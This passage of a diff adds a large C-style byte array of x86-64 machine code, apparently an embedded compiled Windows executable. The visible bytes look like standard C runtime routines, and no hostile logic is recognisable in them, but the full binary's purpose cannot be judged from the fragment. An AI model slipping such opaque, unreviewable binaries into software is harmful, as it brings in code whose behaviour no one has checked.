0x48, + 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec, 0x20, 0x8b, 0x05, 0x41, + 0x61, 0x01, 0x00, 0x33, 0xdb, 0xbf, 0x03, 0x00, 0x00, 0x00, 0x85, 0xc0, + 0x75, 0x07, 0xb8, 0x00, 0x02, 0x00, 0x00, 0xeb, 0x05, 0x3b, 0xc7, 0x0f, + 0x4c, 0xc7, 0x48, 0x63, 0xc8, 0xba, 0x08, 0x00, 0x00, 0x00, 0x89, 0x05, + 0x1c, 0x61, 0x01, 0x00, 0xe8, 0x4b, 0x0c, 0x00, 0x00, 0x33, 0xc9, 0x48, + 0x89, 0x05, 0x16, 0x61, 0x01, 0x00, 0xe8, 0xbd, 0xea, 0xff, 0xff, 0x48, + 0x39, 0x1d, 0x0a, 0x61, 0x01, 0x00, 0x75, 0x2f, 0xba, 0x08, 0x00, 0x00, + 0x00, 0x89, 0x3d, 0xf5, 0x60, 0x01, 0x00, 0x48, 0x8b, 0xcf, 0xe8, 0x21, + 0x0c, 0x00, 0x00, 0x33, 0xc9, 0x48, 0x89, 0x05, 0xec, 0x60, 0x01, 0x00, + 0xe8, 0x93, 0xea, 0xff, 0xff, 0x48, 0x39, 0x1d, 0xe0, 0x60, 0x01, 0x00, + 0x75, 0x05, 0x83, 0xc8, 0xff, 0xeb, 0x75, 0x48, 0x8b, 0xeb, 0x48, 0x8d, + 0x35, 0x27, 0x4d, 0x01, 0x00, 0x4c, 0x8d, 0x35, 0x08, 0x4d, 0x01, 0x00, + 0x49, 0x8d, 0x4e, 0x30, 0x45, 0x33, 0xc0, 0xba, 0xa0, 0x0f, 0x00, 0x00, + 0xe8, 0xaf, 0x07, 0x00, 0x00, 0x48, 0x8b, 0x05, 0xb0, 0x60, 0x01, 0x00, + 0x4c, 0x8d, 0x05, 0xd9, 0x60, 0x01, 0x00, 0x48, 0x8b, 0xd5, 0x48, 0xc1, + 0xfa, 0x06, 0x4c, 0x89, 0x34, 0x03, 0x48, 0x8b, 0xc5, 0x83, 0xe0, 0x3f, + 0x48, 0x8d, 0x0c, 0xc0, 0x49, 0x8b, 0x04, 0xd0, 0x48, 0x8b, 0x4c, 0xc8, + 0x28, 0x48, 0x83, 0xc1, 0x02, 0x48, 0x83, 0xf9, 0x02, 0x77, 0x06, 0xc7, + 0x06, 0xfe, 0xff, 0xff, 0xff, 0x48, 0xff, 0xc5, 0x49, 0x83, 0xc6, 0x58, + 0x48, 0x83, 0xc3, 0x08, 0x48, 0x83, 0xc6, 0x58, 0x48, 0x83, 0xef, 0x01, + 0x75, 0x9e, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x6c, + 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x8b, 0x7c, 0x24, 0x48, + 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5e, 0xc3, 0xcc, 0x40, 0x53, 0x48, 0x83, + 0xec, 0x20, 0xe8, 0xe5, 0x2c, 0x00, 0x00, 0xe8, 0x24, 0x4c, 0x00, 0x00, + 0x33, 0xdb, 0x48, 0x8b, 0x0d, 0x2f, 0x60, 0x01, 0x00, 0x48, 0x8b, 0x0c, + 0x0b, 0xe8, 0xc6, 0x4c, 0x00, 0x00, 0x48, 0x8b, 0x05, 0x1f, 0x60, 0x01, + 0x00, 0x48, 0x8b, 0x0c, 0x03, 0x48, 0x83, 0xc1, 0x30, 0xff, 0x15, 0x61, + 0x9d, 0x00, 0x00, 0x48, 0x83, 0xc3, 0x08, 0x48, 0x83, 0xfb, 0x18, 0x75, + 0xd1, 0x48, 0x8b, 0x0d, 0x00, 0x60, 0x01, 0x00, 0xe8, 0xa7, 0xe9, 0xff, + 0xff, 0x48, 0x83, 0x25, 0xf3, 0x5f, 0x01, 0x00, 0x00, 0x48, 0x83, 0xc4, + 0x20, 0x5b, 0xc3, 0xcc, 0x48, 0x83, 0xc1, 0x30, 0x48, 0xff, 0x25, 0x21, + 0x9d, 0x00, 0x00, 0xcc, 0x48, 0x83, 0xc1, 0x30, 0x48, 0xff, 0x25, 0x1d, + 0x9d, 0x00, 0x00, 0xcc, 0x48, 0x8b, 0x0d, 0xb5, 0x4b, 0x01, 0x00, 0x33, + 0xc0, 0x48, 0x83, 0xc9, 0x01, 0x48, 0x39, 0x0d, 0xc8, 0x5f, 0x01, 0x00, + 0x0f, 0x94, 0xc0, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, + 0x24, 0x10, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x57, 0x48, 0x83, 0xec, 0x30, + 0x49, 0x8b, 0xf9, 0x8b, 0x0a, 0xe8, 0x1e, 0x0a, 0x00, 0x00, 0x90, 0x48, + 0x8d, 0x1d, 0xbe, 0x5f, 0x01, 0x00, 0x48, 0x8d, 0x35, 0xdf, 0x4c, 0x01, + 0x00, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x48, 0x8d, 0x05, 0xb3, 0x5f, 0x01, + 0x00, 0x48, 0x3b, 0xd8, 0x74, 0x19, 0x48, 0x39, 0x33, 0x74, 0x0e, 0x48, + 0x8b, 0xd6, 0x48, 0x8b, 0xcb, 0xe8, 0xc2, 0x2f, 0x00, 0x00, 0x48, 0x89, + 0x03, 0x48, 0x83, 0xc3, 0x08, 0xeb, 0xd6, 0x8b, 0x0f, 0xe8, 0x32, 0x0a, + 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x74, 0x24, 0x48, + 0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3, 0xcc, 0xcc, 0xb8, 0x01, 0x00, 0x00, + 0x00, 0x87, 0x05, 0x61, 0x5f, 0x01, 0x00, 0xc3, 0x4c, 0x8b, 0xdc, 0x48, + 0x83, 0xec, 0x28, 0xb8, 0x04, 0x00, 0x00, 0x00, 0x4d, 0x8d, 0x4b, 0x10, + 0x4d, 0x8d, 0x43, 0x08, 0x89, 0x44, 0x24, 0x38, 0x49, 0x8d, 0x53, 0x18, + 0x89, 0x44, 0x24, 0x40, 0x49, 0x8d, 0x4b, 0x08, 0xe8, 0x5b, 0xff, 0xff, + 0xff, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, + 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, + 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x81, 0xec, 0x90, 0x00, 0x00, 0x00, + 0x48, 0x8d, 0x48, 0x88, 0xff, 0x15, 0xfa, 0x9b, 0x00, 0x00, 0x45, 0x33, + 0xf6, 0x66, 0x44, 0x39, 0x74, 0x24, 0x62, 0x0f, 0x84, 0x9a, 0x00, 0x00, + 0x00, 0x48, 0x8b, 0x44, 0x24, 0x68, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x8c, + 0x00, 0x00, 0x00, 0x48, 0x63, 0x18, 0x48, 0x8d, 0x70, 0x04, 0xbf, 0x00, + 0x20, 0x00, 0x00, 0x48, 0x03, 0xde, 0x39, 0x38, 0x0f, 0x4c, 0x38, 0x8b, + 0xcf, 0xe8, 0x52, 0x51, 0x00, 0x00, 0x3b, 0x3d, 0xdc, 0x62, 0x01, 0x00, + 0x0f, 0x4f, 0x3d, 0xd5, 0x62, 0x01, 0x00, 0x85, 0xff, 0x74, 0x60, 0x41, + 0x8b, 0xee, 0x48, 0x83, 0x3b, 0xff, 0x74, 0x47, 0x48, 0x83, 0x3b, 0xfe, + 0x74, 0x41, 0xf6, 0x06, 0x01, 0x74, 0x3c, 0xf6, 0x06, 0x08, 0x75, 0x0d, + 0x48, 0x8b, 0x0b, 0xff, 0x15, 0x4f, 0x9c, 0x00, 0x00, 0x85, 0xc0, 0x74, + 0x2a, 0x48, 0x8b, 0xc5, 0x4c, 0x8d, 0x05, 0xa1, 0x5e, 0x01, 0x00, 0x48, + 0x8b, 0xcd, 0x48, 0xc1, 0xf9, 0x06, 0x83, 0xe0, 0x3f, 0x49, 0x8b, 0x0c, + 0xc8, 0x48, 0x8d, 0x14, 0xc0, 0x48, 0x8b, 0x03, 0x48, 0x89, 0x44, 0xd1, + 0x28, 0x8a, 0x06, 0x88, 0x44, 0xd1, 0x38, 0x48, 0xff, 0xc5, 0x48, 0xff, + 0xc6, 0x48, 0x83, 0xc3, 0x08, 0x48, 0x83, 0xef, 0x01, 0x75, 0xa3, 0x4c, + 0x8d, 0x9c, 0x24, 0x90, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x10, 0x49, + 0x8b, 0x6b, 0x18, 0x49, 0x8b, 0x73, 0x20, 0x49, 0x8b, 0x7b, 0x28, 0x49, + 0x8b, 0xe3, 0x41, 0x5e, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, + 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, + 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec, 0x20, 0x33, 0xf6, 0x45, + 0x33, 0xf6, 0x48, 0x63, 0xce, 0x48, 0x8d, 0x3d, 0x28, 0x5e, 0x01, 0x00, + 0x48, 0x8b, 0xc1, 0x83, 0xe1, 0x3f, 0x48, 0xc1, 0xf8, 0x06, 0x48, 0x8d, + 0x1c, 0xc9, 0x48, 0x8b, 0x3c, 0xc7, 0x48, 0x8b, 0x44, 0xdf, 0x28, 0x48, + 0x83, 0xc0, 0x02, 0x48, 0x83, 0xf8, 0x01, 0x76, 0x0a, 0x80, 0x4c, 0xdf, + 0x38, 0x80, 0xe9, 0x8f, 0x00, 0x00, 0x00, 0xc6, 0x44, 0xdf, 0x38, 0x81, + 0x8b, 0xce, 0x85, 0xf6, 0x74, 0x16, 0x83, 0xe9, 0x01, 0x74, 0x0a, 0x83, + 0xf9, 0x01, 0xb9, 0xf4, 0xff, 0xff, 0xff, 0xeb, 0x0c, 0xb9, 0xf5, 0xff, + 0xff, 0xff, 0xeb, 0x05, 0xb9, 0xf6, 0xff, 0xff, 0xff, 0xff, 0x15, 0x69, + 0x9b, 0x00, 0x00, 0x48, 0x8b, 0xe8, 0x48, 0x8d, 0x48, 0x01, 0x48, 0x83, + 0xf9, 0x01, 0x76, 0x0b, 0x48, 0x8b, 0xc8, 0xff, 0x15, 0x5b, 0x9b, 0x00, + 0x00, 0xeb, 0x02, 0x33, 0xc0, 0x85, 0xc0, 0x74, 0x20, 0x0f, 0xb6, 0xc8, + 0x48, 0x89, 0x6c, 0xdf, 0x28, 0x83, 0xf9, 0x02, 0x75, 0x07, 0x80, 0x4c, + 0xdf, 0x38, 0x40, 0xeb, 0x31, 0x83, 0xf9, 0x03, 0x75, 0x2c, 0x80, 0x4c, + 0xdf, 0x38, 0x08, 0xeb, 0x25, 0x80, 0x4c, 0xdf, 0x38, 0x40, 0x48, 0xc7, + 0x44, 0xdf, 0x28, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x05, 0x4e, 0x5d, + 0x01, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x0b, 0x49, 0x8b, 0x04, 0x06, 0xc7, + 0x40, 0x18, 0xfe, 0xff, 0xff, 0xff, 0xff, 0xc6, 0x49, 0x83, 0xc6, 0x08, + 0x83, 0xfe, 0x03, 0x0f, 0x85, 0x2d, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x5c, + 0x24, 0x30, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, + 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5e, 0xc3, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0xb9, 0x07, 0x00, 0x00, 0x00, 0xe8, + 0x84, 0x07, 0x00, 0x00, 0x33, 0xdb, 0x33, 0xc9, 0xe8, 0x9b, 0x4f, 0x00, + 0x00, 0x85, 0xc0, 0x75, 0x0c, 0xe8, 0xe2, 0xfd, 0xff, 0xff, 0xe8, 0xcd, + 0xfe, 0xff, 0xff, 0xb3, 0x01, 0xb9, 0x07, 0x00, 0x00, 0x00, 0xe8, 0xb5, + 0x07, 0x00, 0x00, 0x8a, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x33, 0xdb, + 0x48, 0x8d, 0x3d, 0xf5, 0x5c, 0x01, 0x00, 0x48, 0x8b, 0x0c, 0x3b, 0x48, + 0x85, 0xc9, 0x74, 0x0a, 0xe8, 0x07, 0x4f, 0x00, 0x00, 0x48, 0x83, 0x24, + 0x3b, 0x00, 0x48, 0x83, 0xc3, 0x08, 0x48, 0x81, 0xfb, 0x00, 0x04, 0x00, + 0x00, 0x72, 0xd9, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0xb0, 0x01, 0x48, 0x83, + 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, + 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x41, 0x54, 0x41, 0x55, + 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x20, 0x44, 0x8b, 0xf9, 0x4c, + 0x8d, 0x35, 0x52, 0x78, 0xff, 0xff, 0x4d, 0x8b, 0xe1, 0x49, 0x8b, 0xe8, + 0x4c, 0x8b, 0xea, 0x4b, 0x8b, 0x8c, 0xfe, 0x00, 0xe9, 0x01, 0x00, 0x4c, + 0x8b, 0x15, 0x42, 0x48, 0x01, 0x00, 0x48, 0x83, 0xcf, 0xff, 0x41, 0x8b, + 0xc2, 0x49, 0x8b, 0xd2, 0x48, 0x33, 0xd1, 0x83, 0xe0, 0x3f, 0x8a, 0xc8, + 0x48, 0xd3, 0xca, 0x48, 0x3b, 0xd7, 0x0f, 0x84, 0x5b, 0x01, 0x00, 0x00, + 0x48, 0x85, 0xd2, 0x74, 0x08, 0x48, 0x8b, 0xc2, 0xe9, 0x50, 0x01, 0x00, + 0x00, 0x4d, 0x3b, 0xc4, 0x0f, 0x84, 0xd9, 0x00, 0x00, 0x00, 0x8b, 0x75, + 0x00, 0x49, 0x8b, 0x9c, 0xf6, 0x60, 0xe8, 0x01, 0x00, 0x48, 0x85, 0xdb, + 0x74, 0x0e, 0x48, 0x3b, 0xdf, 0x0f, 0x84, 0xac, 0x00, 0x00, 0x00, 0xe9, + 0xa2, 0x00, 0x00, 0x00, 0x4d, 0x8b, 0xb4, 0xf6, 0xc0, 0x41, 0x01, 0x00, + 0x33, 0xd2, 0x49, 0x8b, 0xce, 0x41, 0xb8, 0x00, 0x08, 0x00, 0x00, 0xff, + 0x15, 0x7f, 0x99, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, 0x75, + 0x4f, 0xff, 0x15, 0x11, 0x99, 0x00, 0x00, 0x83, 0xf8, 0x57, 0x75, 0x42, + 0x8d, 0x58, 0xb0, 0x49, 0x8b, 0xce, 0x44, 0x8b, 0xc3, 0x48, 0x8d, 0x15, + 0xe4, 0xa9, 0x00, 0x00, 0xe8, 0x8f, 0xdb, 0xff, 0xff, 0x85, 0xc0, 0x74, + 0x29, 0x44, 0x8b, 0xc3, 0x48, 0x8d, 0x15, 0x51, 0xbe, 0x00, 0x00, 0x49, + 0x8b, 0xce, 0xe8, 0x79, 0xdb, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x13, 0x45, + 0x33, 0xc0, 0x33, 0xd2, 0x49, 0x8b, 0xce, 0xff, 0x15, 0x2f, 0x99, 0x00, + 0x00, 0x48, 0x8b, 0xd8, 0xeb, 0x02, 0x33, 0xdb, 0x4c, 0x8d, 0x35, 0x71, + 0x77, 0xff, 0xff, 0x48, 0x85, 0xdb, 0x75, 0x0d, 0x48, 0x8b, 0xc7, 0x49, + 0x87, 0x84, 0xf6, 0x60, 0xe8, 0x01, 0x00, 0xeb, 0x1e, 0x48, 0x8b, 0xc3, + 0x49, 0x87, 0x84, 0xf6, 0x60, 0xe8, 0x01, 0x00, 0x48, 0x85, 0xc0, 0x74, + 0x09, 0x48, 0x8b, 0xcb, 0xff, 0x15, 0xe6, 0x98, 0x00, 0x00, 0x48, 0x85, + 0xdb, 0x75, 0x55, 0x48, 0x83, 0xc5, 0x04, 0x49, 0x3b, 0xec, 0x0f, 0x85, + 0x2e, 0xff, 0xff, 0xff, 0x4c, 0x8b, 0x15, 0x35, 0x47, 0x01, 0x00, 0x33, + 0xdb, 0x48, 0x85, 0xdb, 0x74, 0x4a, 0x49, 0x8b, 0xd5, 0x48, 0x8b, 0xcb, + 0xff, 0x15, 0xc2, 0x98, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x32, 0x4c, + 0x8b, 0x05, 0x16, 0x47, 0x01, 0x00, 0xba, 0x40, 0x00, 0x00, 0x00, 0x41, + 0x8b, 0xc8, 0x83, 0xe1, 0x3f, 0x2b, 0xd1, 0x8a, 0xca, 0x48, 0x8b, 0xd0, + 0x48, 0xd3, 0xca, 0x49, 0x33, 0xd0, 0x4b, 0x87, 0x94, 0xfe, 0x00, 0xe9, + 0x01, 0x00, 0xeb, 0x2d, 0x4c, 0x8b, 0x15, 0xed, 0x46, 0x01, 0x00, 0xeb, + 0xb8, 0x4c, 0x8b, 0x15, 0xe4, 0x46, 0x01, 0x00, 0x41, 0x8b, 0xc2, 0xb9, + 0x40, 0x00, 0x00, 0x00, 0x83, 0xe0, 0x3f, 0x2b, 0xc8, 0x48, 0xd3, 0xcf, + 0x49, 0x33, 0xfa, 0x4b, 0x87, 0xbc, 0xfe, 0x00, 0xe9, 0x01, 0x00, 0x33, + 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0x6c, 0x24, 0x58, 0x48, + 0x8b, 0x74, 0x24, 0x60, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5f, 0x41, 0x5e, + 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, + 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x4c, 0x8d, 0x0d, 0xd0, 0xbd, 0x00, 0x00, + 0xb9, 0x1c, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x05, 0xc0, 0xbd, 0x00, 0x00, + 0x48, 0x8d, 0x15, 0xbd, 0xbd, 0x00, 0x00, 0xe8, 0x00, 0xfe, 0xff, 0xff, + 0x48, 0x85, 0xc0, 0x74, 0x16, 0x48, 0x8b, 0xd3, 0x48, 0xc7, 0xc1, 0xfa, + 0xff, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, 0x65, + 0x99, 0x00, 0x00, 0xb8, 0x25, 0x02, 0x00, 0xc0, 0x48, 0x83, 0xc4, 0x20, + 0x5b, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x4c, 0x8d, 0x0d, 0x11, + 0xbd, 0x00, 0x00, 0x33, 0xc9, 0x4c, 0x8d, 0x05, 0x04, 0xbd, 0x00, 0x00, + 0x48, 0x8d, 0x15, 0x05, 0xbd, 0x00, 0x00, 0xe8, 0xb8, 0xfd, 0xff, 0xff, + 0x48, 0x85, 0xc0, 0x74, 0x0b, 0x48, 0x83, 0xc4, 0x28, 0x48, 0xff, 0x25, + 0x28, 0x99, 0x00, 0x00, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, + 0x28, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, + 0xd9, 0x4c, 0x8d, 0x0d, 0xec, 0xbc, 0x00, 0x00, 0xb9, 0x03, 0x00, 0x00, + 0x00, 0x4c, 0x8d, 0x05, 0xd8, 0xbc, 0x00, 0x00, 0x48, 0x8d, 0x15, 0x41, + 0xa8, 0x00, 0x00, 0xe8, 0x74, 0xfd, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, + 0x0f, 0x48, 0x8b, 0xcb, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, + 0xe0, 0x98, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, + 0x4c, 0x97, 0x00, 0x00, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8b, 0xd9, + 0x4c, 0x8d, 0x0d, 0xad, 0xbc, 0x00, 0x00, 0xb9, 0x04, 0x00, 0x00, 0x00, + 0x4c, 0x8d, 0x05, 0x99, 0xbc, 0x00, 0x00, 0x48, 0x8d, 0x15, 0x12, 0xa8, + 0x00, 0x00, 0xe8, 0x2d, 0xfd, 0xff, 0xff, 0x8b, 0xcb, 0x48, 0x85, 0xc0, + 0x74, 0x0c, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, 0x9a, 0x98, + 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, 0x1e, 0x97, + 0x00, 0x00, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8b, 0xd9, + 0x4c, 0x8d, 0x0d, 0x6d, 0xbc, 0x00, 0x00, 0xb9, 0x05, 0x00, 0x00, 0x00, + 0x4c, 0x8d, 0x05, 0x59, 0xbc, 0x00, 0x00, 0x48, 0x8d, 0x15, 0xda, 0xa7, + 0x00, 0x00, 0xe8, 0xe5, 0xfc, 0xff, 0xff, 0x8b, 0xcb, 0x48, 0x85, 0xc0, + 0x74, 0x0c, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, 0x52, 0x98, + 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, 0xc6, 0x96, + 0x00, 0x00, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, + 0xec, 0x20, 0x48, 0x8b, 0xda, 0x4c, 0x8d, 0x0d, 0x28, 0xbc, 0x00, 0x00, + 0x8b, 0xf9, 0x48, 0x8d, 0x15, 0xaf, 0xa7, 0x00, 0x00, 0xb9, 0x06, 0x00, + 0x00, 0x00, 0x4c, 0x8d, 0x05, 0x0b, 0xbc, 0x00, 0x00, 0xe8, 0x96, 0xfc, + 0xff, 0xff, 0x48, 0x8b, 0xd3, 0x8b, 0xcf, 0x48, 0x85, 0xc0, 0x74, 0x08, + 0xff, 0x15, 0x06, 0x98, 0x00, 0x00, 0xeb, 0x06, 0xff, 0x15, 0x86, 0x96, + 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, + 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0x41, 0x8b, 0xf0, 0x4c, 0x8d, + 0x0d, 0xd7, 0xbb, 0x00, 0x00, 0x8b, 0xda, 0x4c, 0x8d, 0x05, 0xc6, 0xbb, + 0x00, 0x00, 0x48, 0x8b, 0xf9, 0x48, 0x8d, 0x15, 0x64, 0xa7, 0x00, 0x00, + 0xb9, 0x12, 0x00, 0x00, 0x00, 0xe8, 0x3a, 0xfc, 0xff, 0xff, 0x8b, 0xd3, + 0x48, 0x8b, 0xcf, 0x48, 0x85, 0xc0, 0x74, 0x0b, 0x44, 0x8b, 0xc6, 0xff, + 0x15, 0xa7, 0x97, 0x00, 0x00, 0xeb, 0x06, 0xff, 0x15, 0x0f, 0x96, 0x00, + 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, + 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, + 0x48, 0x83, 0xec, 0x50, 0x41, 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0xf2, + 0x4c, 0x8d, 0x0d, 0x71, 0xbb, 0x00, 0x00, 0x48, 0x8b, 0xe9, 0x4c, 0x8d, + 0x05, 0x5f, 0xbb, 0x00, 0x00, 0x48, 0x8d, 0x15, 0x60, 0xbb, 0x00, 0x00, + 0xb9, 0x14, 0x00, 0x00, 0x00, 0xe8, 0xce, 0xfb, 0xff, 0xff, 0x48, 0x85, + 0xc0, 0x74, 0x52, 0x4c, 0x8b, 0x84, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x44, + 0x8b, 0xcb, 0x48, 0x8b, 0x8c, 0x24, 0x98, 0x00, 0x00, 0x00, 0x8b, 0xd6, + 0x4c, 0x89, 0x44, 0x24, 0x40, 0x4c, 0x8b, 0xc7, 0x48, 0x89, 0x4c, 0x24, + 0x38, 0x48, 0x8b, 0x8c, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0x4c, + 0x24, 0x30, 0x8b, 0x8c, 0x24, 0x88, 0x00, 0x00, 0x00, 0x89, 0x4c, 0x24, + 0x28, 0x48, 0x8b, 0x8c, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x4c, + 0x24, 0x20, 0x48, 0x8b, 0xcd, 0xff, 0x15, 0xf9, 0x96, 0x00, 0x00, 0xeb, + 0x32, 0x33, 0xd2, 0x48, 0x8b, 0xcd, 0xe8, 0x3d, 0x00, 0x00, 0x00, 0x8b, + 0xc8, 0x44, 0x8b, 0xcb, 0x8b, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x4c, + 0x8b, 0xc7, 0x89, 0x44, 0x24, 0x28, 0x8b, 0xd6, 0x48, 0x8b, 0x84, 0x24, + 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0xff, 0x15, 0xb5, + 0x95, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, + 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x83, 0xc4, 0x50, 0x5f, 0xc3, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x8b, 0xfa, + 0x4c, 0x8d, 0x0d, 0xbd, 0xba, 0x00, 0x00, 0x48, 0x8b, 0xd9, 0x48, 0x8d, + 0x15, 0xb3, 0xba, 0x00, 0x00, 0xb9, 0x16, 0x00, 0x00, 0x00, 0x4c, 0x8d, + 0x05, 0x9f, 0xba, 0x00, 0x00, 0xe8, 0x02, 0xfb, 0xff, 0xff, 0x48, 0x8b, + 0xcb, 0x48, 0x85, 0xc0, 0x74, 0x0a, 0x8b, 0xd7, 0xff, 0x15, 0x72, 0x96, + 0x00, 0x00, 0xeb, 0x05, 0xe8, 0x4f, 0x4c, 0x00, 0x00, 0x48, 0x8b, 0x5c, + 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x89, 0x7c, 0x24, + 0x08, 0x48, 0x8d, 0x3d, 0x4c, 0x5c, 0x01, 0x00, 0x48, 0x8d, 0x05, 0x55, + 0x5d, 0x01, 0x00, 0x48, 0x3b, 0xc7, 0x48, 0x8b, 0x05, 0x43, 0x43, 0x01, + 0x00, 0x48, 0x1b, 0xc9, 0x48, 0xf7, 0xd1, 0x83, 0xe1, 0x22, 0xf3, 0x48, + 0xab, 0x48, 0x8b, 0x7c, 0x24, 0x08, 0xb0, 0x01, 0xc3, 0xcc, 0xcc, 0xcc, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x84, 0xc9, 0x75, 0x2f, 0x48, 0x8d, + 0x1d, 0x73, 0x5b, 0x01, 0x00, 0x48, 0x8b, 0x0b, 0x48, 0x85, 0xc9, 0x74, + 0x10, 0x48, 0x83, 0xf9, 0xff, 0x74, 0x06, 0xff, 0x15, 0x9f, 0x94, 0x00, + 0x00, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xc3, 0x08, 0x48, 0x8d, 0x05, + 0xf0, 0x5b, 0x01, 0x00, 0x48, 0x3b, 0xd8, 0x75, 0xd8, 0xb0, 0x01, 0x48, + 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, + 0xe8, 0xa7, 0xda, 0xff, 0xff, 0x48, 0x8d, 0x54, 0x24, 0x30, 0x48, 0x8b, + 0x88, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0x4c, 0x24, 0x30, 0x48, 0x8b, + 0xc8, 0xe8, 0xa2, 0xe7, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, + 0x8b, 0x00, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x55, + 0x48, 0x8b, 0xec, 0x48, 0x81, 0xec, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, + 0x05, 0x97, 0x42, 0x01, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x45, 0xf0, + 0x8b, 0xf2, 0x48, 0x63, 0xf9, 0x49, 0x8b, 0xd0, 0x48, 0x8d, 0x4d, 0xc8, + 0xe8, 